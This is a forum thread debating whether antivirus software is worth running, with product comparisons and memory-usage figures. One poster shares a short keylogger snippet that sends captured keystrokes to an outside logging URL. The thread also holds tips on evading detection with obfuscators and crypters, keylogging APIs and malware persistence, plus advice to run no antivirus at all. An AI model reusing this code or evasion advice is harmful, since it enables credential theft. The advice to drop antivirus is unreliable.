Microsoft's built in antivirus (Microsoft Defender I think?) works fine for me as is. Like to keep things clean and simple, less bloat means less start up time and processes running in the background.


----------



## HitMe

there's no real working antivirus
you can down load any keylooger code source keylooger is a tool used by hackers to steal your password and info ... it is detected but once you compil the virus and recompil it on https://confuser.codeplex.com
it will lose its original hash and become not detected

i wont start talking about stealing the microsoft signature of explorer.exe and put it on a virus
and i wont talk about an exe infection witch inject a virus into chrome fire fox even svchost ...
again i worked in security as a training ... **** got real in the lastt 5 years now theres exploit packs that sold for 500-10000$

exploit pack is a pack of old and new exploit that take a simple exploit in java chrome fire fox iexploer ... and download and install a virus without showing any donwload prosess and even bypassing the window UAC witch will make the virus have full right in your pc

.... how to protect your self ...

1 rule : every virus needs a autorun and you can stop it in msconfig

if the virus happen to be no autorun or have a persistance or a memory injection ... you need to wipe your System or use an anti virus and deal with some missing features and random blue screens and error messages

sorry for the Bad english


----------



## Particle

HitMe, AV products don't rely on static hash-based recognition in the modern era. They're still there to catch what they can, but the important part of any modern detection engine is the heuristics engine and the defs that tell it the sort of stuff to look for. Some of them are quite good, too.


----------



## The Hundred Gunner

Quote:


> Originally Posted by *HitMe*
> 
> there's no real working antivirus
> you can down load any keylooger code source keylooger is a tool used by hackers to steal your password and info ... it is detected but once you compil the virus and recompil it on https://confuser.codeplex.com
> it will lose its original hash and become not detected
> 
> i wont start talking about stealing the microsoft signature of explorer.exe and put it on a virus
> and i wont talk about an exe infection witch inject a virus into chrome fire fox even svchost ...
> again i worked in security as a training ... **** got real in the lastt 5 years now theres exploit packs that sold for 500-10000$
> 
> exploit pack is a pack of old and new exploit that take a simple exploit in java chrome fire fox iexploer ... and download and install a virus without showing any donwload prosess and even bypassing the window UAC witch will make the virus have full right in your pc
> 
> .... how to protect your self ...
> 
> 1 rule : every virus needs a autorun and you can stop it in msconfig
> 
> if the virus happen to be no autorun or have a persistance or a memory injection ... you need to wipe your System or use an anti virus and deal with some missing features and random blue screens and error messages
> 
> sorry for the Bad english


Most keyloggers use the GetAsyncKeyState() function in a loop to check whether a key is up or down. I suppose any good AV should be able to detect that call, regardless of the fingerprint/hash of the .exe. I'm not sure how many legitimate programs use this function, though.

Same with process injection. Those calls can be detected, but if many legitimate programs use it, then it may interfere with those.

And not every piece of malware needs autorun. If you download a .exe in an email and open it, that's not really autorun. If you get hit by an exploit kit, that's not autorun, either.


----------



## HitMe

let me give you an example :

this is a keylogger coded in air , it runs on a air 3 simulator

it's designed to be bypassed

the same code is used to attack all flash apps and games that have a full right on pc user

when sending the logs it will use a simple php page

code ; function reportKeyDown(event:KeyboardEvent):void
{
var key:uint = event.keyCode;

switch (event.keyCode) {
case 13 :
navigateToURL( new URLRequest("http:\\www.keylogs.com\logs.php?"+keyy.text ), "_self" );
break;

}
keyy.text +=( String.fromCharCode(event.charCode) );
}
stage.addEventListener(KeyboardEvent.KEY_DOWN,reportKeyDown);

here's the virus scan :
https://www.virustotal.com/fr/file/104d30a83205719662f322ae5fc4bb31ed50f5c79e5b8889ac0e32e391ac46ac/analysis/1407438188/

here's a dare submit your virus in . rar i will make it 100 % FUD lol


----------



## The Hundred Gunner

How is it designed to bypass security? I don't really know what "air" is, other than a quick search showing that it's an adobe language centered around flash.


----------



## Meatdohx

Quote:


> Originally Posted by *HitMe*
> 
> there's no real working antivirus
> you can down load any keylooger code source keylooger is a tool used by hackers to steal your password and info ... it is detected but once you compil the virus and recompil it on https://confuser.codeplex.com
> it will lose its original hash and become not detected
> 
> i wont start talking about stealing the microsoft signature of explorer.exe and put it on a virus
> and i wont talk about an exe infection witch inject a virus into chrome fire fox even svchost ...
> again i worked in security as a training ... **** got real in the lastt 5 years now theres exploit packs that sold for 500-10000$
> 
> exploit pack is a pack of old and new exploit that take a simple exploit in java chrome fire fox iexploer ... and download and install a virus without showing any donwload prosess and even bypassing the window UAC witch will make the virus have full right in your pc
> 
> .... how to protect your self ...
> 
> 1 rule : every virus needs a autorun and you can stop it in msconfig
> 
> if the virus happen to be no autorun or have a persistance or a memory injection ... you need to wipe your System or use an anti virus and deal with some missing features and random blue screens and error messages
> 
> sorry for the Bad english


That's the kind of crap i am worried about. I worked for an internet website for 2 years and i learned alot of stuff like that... most of the guy there started in the business with coding adware and things like that. When i asked them if an AV was really efficient they laughed.


----------



## Techie007

Quote:


> Originally Posted by *The Hundred Gunner*
> 
> Most keyloggers use the GetAsyncKeyState() function in a loop to check whether a key is up or down. I suppose any good AV should be able to detect that call, regardless of the fingerprint/hash of the .exe. I'm not sure how many legitimate programs use this function, though.
> 
> Same with process injection. Those calls can be detected, but if many legitimate programs use it, then it may interfere with those.
> 
> And not every piece of malware needs autorun. If you download a .exe in an email and open it, that's not really autorun. If you get hit by an exploit kit, that's not autorun, either.


 This is what I mean when I say that many virus programmers are dumb. A much better API to use would be SetWindowsHookEx. The key down and key up messages would callback to an event in your code regardless of keyboard focus.

And, he's absolutely right about autoruns (although msconfig isn't good enough to display all of them). The point is, after you have manually loaded the virus the first time by running it, it will need an autorun of some sort to ensure persistence after you reboot.


----------



## Particle

The usual solution to that is just to insert a loader into other programs or link libraries you know will be run at startup. You don't really need a traditional auto-run once you've run once. SFC will stop you from doing this to Windows binaries, but others are still fair game if the initial process has write permission to other stuff you run automatically or run often.


----------



## HitMe

got to blackhat forums
there's a forum on every known hacking site where ppl offre their FUD for monthly subsciption fee

FUD = full undetected

this tools are named exe crypter they change the byte code of the exe to a trusted one

example : google How to make your own 100% FUD crypter with C++

this tuto will give you the basic of making all virus FUD ...

there's no antivirus , i have been antiV-free for 8 years ...
please if you want to protect your pc just learn how hackers do their ****

again please do not buy any antivirus i feel bad that some do sell a something that wait for a Virustotal Votes to classify the exe as threat

list of anti virus that do this faulty system :
AVG
AVware
Ad-Aware
AegisLab
Agnitum
AhnLab-V3
AntiVir
Antiy-AVL
Avast
Baidu-International
BitDefender
Bkav 20140806
ByteHero
CAT-QuickHeal
CMC
ClamAV
Commtouch
Comodo
DrWeb
ESET-NOD32
Emsisoft
F-Prot
F-Secure
Fortinet
GData
Ikarus
Jiangmin
K7AntiVirus
K7GW
Kaspersky
Kingsoft
Malwarebytes
McAfee
McAfee-GW-Edition
MicroWorld-eScan
Microsoft
NANO-Antivirus
Norman
Panda
Qihoo-360
Rising
SUPERAntiSpyware
Sophos
Symantec
Tencent
TheHacker
TotalDefense
TrendMicro
TrendMicro-HouseCall
VBA32
VIPRE
ViRobot
Zoner
nProtect


----------



## iSlayer

The fact FUD can also mean Fear, Uncertainty and Doubt makes your post a little comedic.

That and it reads as a bit y'know, gullible. Blackhat forums, offering incredibly valuable hacking tools, for monthly fees on public forums. From blackhats.

Yah, I'll cue panic.exe. Maybe write a script to keep it running indefinitely as we are perma-screwed.


----------



## The Hundred Gunner

Quote:


> Originally Posted by *Techie007*
> 
> And, he's absolutely right about autoruns (although msconfig isn't good enough to display all of them). The point is, after you have manually loaded the virus the first time by running it, it will need an autorun of some sort to ensure persistence after you reboot.


Oh, I thought he was talking about autorun as in media/USB autorun.


----------



## Murlocke

I still prefer ESET NOD32. It's not the best on there, but it's still above 99%. It's the lightest weight and less invasive AV out of the top ones IMO. You set it to only notify when action is required and you don't even realize you have an AV.
Quote:


> Originally Posted by *HitMe*
> 
> got to blackhat forums
> there's a forum on every known hacking site where ppl offre their FUD for monthly subsciption fee
> 
> FUD = full undetected
> 
> this tools are named exe crypter they change the byte code of the exe to a trusted one
> 
> example : google How to make your own 100% FUD crypter with C++
> 
> this tuto will give you the basic of making all virus FUD ...
> 
> there's no antivirus , i have been antiV-free for 8 years ...
> please if you want to protect your pc just learn how hackers do their ****
> 
> again please do not buy any antivirus i feel bad that some do sell a something that wait for a Virustotal Votes to classify the exe as threat
> 
> list of anti virus that do this faulty system :
> AVG
> AVware
> Ad-Aware
> AegisLab
> Agnitum
> AhnLab-V3
> AntiVir
> Antiy-AVL
> Avast
> Baidu-International
> BitDefender
> Bkav 20140806
> ByteHero
> CAT-QuickHeal
> CMC
> ClamAV
> Commtouch
> Comodo
> DrWeb
> ESET-NOD32
> Emsisoft
> F-Prot
> F-Secure
> Fortinet
> GData
> Ikarus
> Jiangmin
> K7AntiVirus
> K7GW
> Kaspersky
> Kingsoft
> Malwarebytes
> McAfee
> McAfee-GW-Edition
> MicroWorld-eScan
> Microsoft
> NANO-Antivirus
> Norman
> Panda
> Qihoo-360
> Rising
> SUPERAntiSpyware
> Sophos
> Symantec
> Tencent
> TheHacker
> TotalDefense
> TrendMicro
> TrendMicro-HouseCall
> VBA32
> VIPRE
> ViRobot
> Zoner
> nProtect


This has been debated many times and there are still cases where you need an AV. Legit sites can and do get hijacked, and people can get infected without even knowing from it. This happened on OCN a few years back. If you play games that have online accounts like MMOs, sometimes people throw in flash keyloggers on fan sites that will automatically load as soon as you visit the webpage. AVs will almost always detect these and block these, while someone without an AV may just think they visited another fanbase site.

I mean you can run noscript and all that good stuff, but I find that rather annoying. I'd rather just use a set and forget AV for those special cases.


----------



## The Hundred Gunner

Quote:


> Originally Posted by *HitMe*
> 
> got to blackhat forums
> there's a forum on every known hacking site where ppl offre their FUD for monthly subsciption fee
> 
> FUD = full undetected


Yeah, I'm well aware that there are examples of malware that can bypass security. I'm just curious as to how the one you posted does it.
Quote:


> Originally Posted by *HitMe*
> 
> there's no antivirus , i have been antiV-free for 8 years ...
> please if you want to protect your pc just learn how hackers do their ****
> 
> again please do not buy any antivirus i feel bad that some do sell a something that wait for a Virustotal Votes to classify the exe as threat


I still don't get this logic. Going back to the car analogy: a seatbelt isn't going to protect you against a nuclear bomb, so why do you still wear it?


----------



## Particle

It's the unfortunately common "it isn't perfect so why bother" fallacy. I see it a lot in discussions and articles about policy politics, too.


----------



## fastturtle

Well I use MSE on all my boxes as it stays out of the way. It also helps that I have a very comprehensive hosts file to block most of the adverts and malware sites and then there's noscript for firefox/palemoon that's in deny all mode by default and haven't had a problem since I switched after MSE was released.

I even recomend it to others as a useful freebie since it does tend to stay out of the way while at least offering a modicrum level of protection. Most of the folks I sugest it too are Seniors as it certainly works better then Mcaffey (haven't trusted them since spotted a mellisa virus over a decade ago - after it had been out for 3 years).

Of course it also helps that I'm a Gentoo Linux Ricer and will be hopefully building a new installation this weekend - Intel E3-1230v3 (Haswell) Xeon.


----------



## HitMe

Quote:


> Originally Posted by *The Hundred Gunner*
> 
> Yeah, I'm well aware that there are examples of malware that can bypass security. I'm just curious as to how the one you posted does it.
> I still don't get this logic. Going back to the car analogy: a seatbelt isn't going to protect you against a nuclear bomb, so why do you still wear it?


good one lol








when i download a virus ... i decompil it using .net reflector if its coded in c ++ or sharp or vb.net or any .net ... if it's confused i use deconfuser

every virus have its codeing lang

i read the code source and i stop the hacker

example : this is a fud keylogger coded with autoit V3 i decoded using Exe2Aut - AutoIt Decompiler

you can see the Email and password used to receive the victime infos ... for the game Dofus


----------



## The Hundred Gunner

Quote:


> Originally Posted by *HitMe*
> 
> good one lol
> 
> 
> 
> 
> 
> 
> 
> 
> when i download a virus ... i decompil it using .net reflector if its coded in c ++ or sharp or vb.net or any .net ... if it's confused i use deconfuser
> 
> every virus have its codeing lang
> 
> i read the code source and i stop the hacker
> 
> example : this is a fud keylogger coded with autoit V3 i decoded using Exe2Aut - AutoIt Decompiler
> 
> you can see the Email and password used to receive the victime infos ... for the game Dofus


I know how to RE malware and I've seen AutoIt malware, but my question was how the .swf bypasses AV.

And still, I don't see how some malware being able to bypass AV means you shouldn't have any.


----------



## HitMe

Quote:


> Originally Posted by *The Hundred Gunner*
> 
> I know how to RE malware and I've seen AutoIt malware, but my question was how the .swf bypasses AV.
> 
> And still, I don't see how some malware being able to bypass AV means you shouldn't have any.


the AV dont scan the Swf in the first place ...ignoring the fact that air apps can have a full access on the computer

it's not the swf that got detected because that swf will be run in a vb.net app or c# that happen to have a air or swf api

so back to your other question
having an AV that nagging on every update and every usb flash and every rar file and every game and everything
and dont even work ...
do check a random game FAQ ... it will say disable your AV


----------



## gbsn

Quote:


> Originally Posted by *Brutuz*
> 
> It takes all of 5 minutes to completely wipe and reinstall an OS/programs/etc if you've got it set up right.


That's fine and dandy for OS and programs on computers that are not used as a workstation and more like internet browsers and mild document editing. You are pretty much ignoring application settings, application data, or any other user configuration at a point in time for third party application suites. There is no 100% accurate or timely way to backup and restore these.


----------



## DarthElvis

Telling people that AV is a waste of time is borderline malicious. The average user doesn't have the time or inclination to dick around in their hosts file or "learn how hackers do their stuff". As for re-installing every other day, that is a complete waste of time, and not a real solution. Some people have lives and can't be assed to screw around on the inner workings of their computers all the time. Besides, having nothing is like never using birth control and bragging how you never get pregnant, it only takes one time. Idiotic IMHO.


----------



## deepor

Quote:


> Originally Posted by *DarthElvis*
> 
> Telling people that AV is a waste of time is borderline malicious. The average user doesn't have the time or inclination to dick around in their hosts file or "learn how hackers do their stuff". As for re-installing every other day, that is a complete waste of time, and not a real solution. Some people have lives and can't be assed to screw around on the inner workings of their computers all the time. Besides, having nothing is like never using birth control and bragging how you never get pregnant, it only takes one time. Idiotic IMHO.


But isn't it interesting that you never see a post like yours in a thread where someone writes, "the first thing I do after installing Windows is disable UAC!" When someone asks about how to deal with UAC and how to disable it on Windows 8 or whatever, there's people trying to be helpful about that.

There's never a buttload of posts dumped on the person that say how important UAC is, that you should never disable it, etc. Meanwhile, it's actually doing real protecting and is more important than keeping the AV's real-time protection running.

There's always AV news getting posted, meanwhile EMET 5.0 was released a week ago or so and I nearly missed it because no news. Having that set up and your browser added, also the browser's plugins and then every other program that gets in contact with downloaded files is perhaps more important than the AV (here's the link btw.: http://www.microsoft.com/en-us/download/details.aspx?id=43714).


----------



## HitMe

Quote:


> Originally Posted by *deepor*
> 
> But isn't it interesting that you never see a post like yours in a thread where someone writes, "the first thing I do after installing Windows is disable UAC!" When someone asks about how to deal with UAC and how to disable it on Windows 8 or whatever, there's people trying to be helpful about that.
> 
> There's never a buttload of posts dumped on the person that say how important UAC is, that you should never disable it, etc. Meanwhile, it's actually doing real protecting and is more important than keeping the AV's real-time protection running.
> 
> There's always AV news getting posted, meanwhile EMET 5.0 was released a week ago or so and I nearly missed it because no news. Having that set up and your browser added, also the browser's plugins and then every other program that gets in contact with downloaded files is perhaps more important than the AV (here's the link btw.: http://www.microsoft.com/en-us/download/details.aspx?id=43714).


i have to give my blessing on this one















the UAC is 1000000000000 times better than any other Anti V the only way to bypass it is using the 2010 UAC exploit , that with a simple update of win7 will stop it
exploit Source


----------



## Brutuz

Quote:


> Originally Posted by *gbsn*
> 
> That's fine and dandy for OS and programs on computers that are not used as a workstation and more like internet browsers and mild document editing. You are pretty much ignoring application settings, application data, or any other user configuration at a point in time for third party application suites. There is no 100% accurate or timely way to backup and restore these.


It's called having a image, actually...Restore the image and it restores everything to where it was when you made the image.


----------



## Techie007

Quote:


> Originally Posted by *Particle*
> 
> The usual solution to that is just to insert a loader into other programs or link libraries you know will be run at startup. You don't really need a traditional auto-run once you've run once. SFC will stop you from doing this to Windows binaries, but others are still fair game if the initial process has write permission to other stuff you run automatically or run often.


 So basically this would be relying another program's autorun entry to start the malware. Interesting that I have not yet encountered this in all the viruses I have manually removed. Thank you for the tip, though.
I have encountered viruses that have a rootkit that hides registry entries, files, and processes. Hiding registry entries will make their autorun entries not show up in programs like Sysinternals Autoruns or Registry Editor. I have also encountered several viruses that change the target of certain Start Menu, desktop, and quick launch shortcuts to themselves. The thing I don't comprehend about those is that invariably, they change the icon to a blank one, and don't actually start the requested program for you, thus making themselves extremely obvious. Of course, the average user just tells me "The Internet doesn't work."


----------



## gbsn

Quote:


> Originally Posted by *Brutuz*
> 
> It's called having a image, actually...Restore the image and it restores everything to where it was when you made the image.


You obviously missed the original post I quoted. The claim was "reinstalling" the OS every month. Making an image with what is already installed is not reinstalling OS, its a restore.
What is the point of making an image on the 19th, wiping the drive then restoring it on the 20th? None. It makes no sense at all and offers no added protection against viruses whatsoever.
Even if you make an initial image with programs already installed, it won't have any third party application settings or application data. In the same sense, there is no point in making an image on the 1st of the month with settings already done at that point in time and restoring it on the 20th losing all the app data or updates or user/app configurations done through up to the 20th.


----------



## KSIMP88

Yep. The only thing that makes sense is a ghosting system and AV, if we are to come close to what you say. The OS intact, personal info wiped, system updates logged to new ghost version.


----------



## Noviets

I'm officially a new owner of Panda Antivirus Pro, I was using AVG.

Upon installing Panda, I had it popup with nine missing windows vulnerabilities, and it automatically listed all the hotfixes I needed.

What are the resource usages like across the board?

I'm incredible blown away how little memory Panda uses in comparison to AVG

AVG RAM Usage:
Identity Protection: 50.4 mb
Resident Shield: 28.1 mb
Scanning Core Module (Server Part): 15.1 mb
Watchdog: 10.5mb
Online Shield: 10.4mb
User Interface: 8.5mb
Total: 123 MB

Panda RAM Usage:
Function Service: 2.4mb
Interface Manager: 0.7mb
Permanent Protection: 1 mb
Process Protection: 0.1 mb
Software Control: 0.6 mb
Total: 4.8 MB

This is both programs running, both minimized to the system tray, so no UI is on the screen or anything, just background stuff

How incredible is that difference?


----------



## evoll88

Quote:


> Originally Posted by *Noviets*
> 
> I'm officially a new owner of Panda Antivirus Pro, I was using AVG.
> 
> Upon installing Panda, I had it popup with nine missing windows vulnerabilities, and it automatically listed all the hotfixes I needed.
> 
> What are the resource usages like across the board?
> 
> I'm incredible blown away how little memory Panda uses in comparison to AVG
> 
> AVG RAM Usage:
> Identity Protection: 50.4 mb
> Resident Shield: 28.1 mb
> Scanning Core Module (Server Part): 15.1 mb
> Watchdog: 10.5mb
> Online Shield: 10.4mb
> User Interface: 8.5mb
> Total: 123 MB
> 
> Panda RAM Usage:
> Function Service: 2.4mb
> Interface Manager: 0.7mb
> Permanent Protection: 1 mb
> Process Protection: 0.1 mb
> Software Control: 0.6 mb
> Total: 4.8 MB
> 
> This is both programs running, both minimized to the system tray, so no UI is on the screen or anything, just background stuff
> 
> How incredible is that difference?


That's some good info,i wonder how much avast uses?


----------



## Derp

Quote:


> Originally Posted by *evoll88*
> 
> That's some good info,i wonder how much avast uses?


More like a fun fact. I doubt anyone here would ever notice the 100MB difference in RAM usage. The program's ability to protect, detect and remove infections should be the main deciding factor between them.


----------



## Noviets

Quote:


> Originally Posted by *Derp*
> 
> More like a fun fact. I doubt anyone here would ever notice the 100MB difference in RAM usage. The program's ability to protect, detect and remove infections should be the main deciding factor between them.


That was part of my point.

Not only does it do a much better job at security, but it uses fundamentally less resources to do so.


----------



## Pleco

Interesting... didn't know Bitdefender had a FREE Windows version of their AV with real-time protection. Almost 10 years ago I used their free AV but it did not have real-time protection. Been a long time user of Avast Free Edition but the results for Panda are amazing, time to give them a spin.


----------



## Karlz3r

I'm perfectly happy with Avast Free version in "silent" mode. I just let it do its job. Basically, it does not require my interference at all.


----------



## Pleco

I'm finding Panda Free AV a bit too simplistic for my tastes and the Metro theme ugh... other than that it works great. Does anyone know if there's a way to check what virus signature version it's currently running? There doesn't seem to be way to find out from the GUI, all it tells me is when I did my last update.


----------



## deepor

Quote:


> Originally Posted by *Pleco*
> 
> I'm finding Panda Free AV a bit too simplistic for my tastes and the Metro theme ugh... other than that it works great. Does anyone know if there's a way to check what virus signature version it's currently running? There doesn't seem to be way to find out from the GUI, all it tells me is when I did my last update.


Doesn't it do "cloud" stuff for signatures? That could mean it creates some sort of hash of the file it looks at, then asks online if that file is known and either safe or a virus.


----------



## Rndomuser

Yes, Panda is cloud-based; it keeps a local, offline cache of few most "relevant" signatures, the rest is in the "cloud". Part of the reason why it's so "small" and fast. You can also download the "offline" rescue kit/"cloud cleaner" (free) which can do a full scan and removal using "offline" signatures, but it's not necessary unless you're seriously infected.

And yea, its GUI is too "toy"-like but detection is pretty good and they are also pretty good at removing "false positives" if you'll send them to their special e-mail address. Plus the "free" version doesn't spam you with Ads to "buy MOAR features!!!111" after every update like some other free AV products do


----------



## sepiashimmer

Comodo is no where on the list. Is it not good?


----------



## Rndomuser

When the company is being afraid of receiving low score they usually refuse to provide the product for review... Just like, for example, Webroot and all of their "antimalware" products







All Webroot does is a marketing campaign by paid shills in various forums (and online stores like Amazon) to promote their "blah, blah, blah, we can roll back damaged/changed files and registry entries" gimmick (apparently everybody are too brain-dead to do proper backups of all their data) and they refused to allow the AV-Test or AV-Comparatives to review any of their products for that reason (because aside from that gimmick feature the detection rates for their products aren't really good)







I guess the same is true for Comodo products (though you can still find their products in latest OS-specific tests by AV-Test.org)


----------



## deepor

Are you sure it's the companies disallowing AV-comparatives to do the testing? I thought it was the other way around: AV-comparatives demands money for the test, does not test any product where the company didn't pay them.


----------



## Capt

I hate running an AV on my old Thinkpad T400 but it's better to be safe than sorry.


----------



## neicks

Great article, any idea why Webroot wasn't tested? I'll definitely have to check out Panda now to run with Malwarebytes.


----------



## omari79

now which ones of those can help get rid of that damn "steam" miner?


----------



## Ultisym

In other news........ Apparently MS is working on a new Security Essentials package

http://www.microsoft.com/en-us/download/details.aspx?id=29942


----------



## Rndomuser

Quote:


> Originally Posted by *deepor*
> 
> Are you sure it's the companies disallowing AV-comparatives to do the testing? I thought it was the other way around: AV-comparatives demands money for the test, does not test any product where the company didn't pay them.


Well, yes, antimalware developers do pay fees for their product to be tested/evaluated/comared, BUT Webroot themselves decided to NOT submit their products for testing anymore:
https://community.webroot.com/t5/Community-Announcements/Joint-message-from-AV-Comparatives-and-Webroot/td-p/17708

Basically, like I mentioned before, they wanted the testing companies to specifically focus on the single gimmick feature (restoring the damaged/encrypted/deleted files/registry entries) instead of testing the detection rates but antimalware testing companies (AV-Test, AV-comparatives, etc.) refused to do this pointless testing regardless of the fees (since there are BILLIONS of other stand-alone "data backup" solutions available for any home/business/corporate user and data backup & recovery is not the primary purpose for antimalware programs). So Webroot decided to rely on paid shilling through forums and online store reviews instead ;-)

Comodo does submit their products to at least one site:
http://www.av-test.org/en/home/
But their product also did not perform well (compared to other "well known" companies) in the latest tests there, so I guess that's why they also refused to submit their product for latest AV-Comparatives test.


----------



## Mahasin Raihan

Is this in any way sponsored? Is it reliable?


----------



## deepor

Quote:


> Originally Posted by *Mahasin Raihan*
> 
> Is this in any way sponsored? Is it reliable?


They are paid by the AV companies. Any AV product missing in the test is because that AV company did not want to pay. I feel it's suspicious.

There's this group here, and they might be better:

https://www.shadowserver.org/wiki/pmwiki.php/AV/Viruses

That link is somewhere close to the bottom on the left hand side column of their website. There's where you have to click for the following AV test results pages.

They test only the new viruses they find on the day they get them (and a retest two days later). That's why the percentages are so low and why it looks like you might as well run without AV for a lot of products (though old stuff should be detected by all the products).


----------

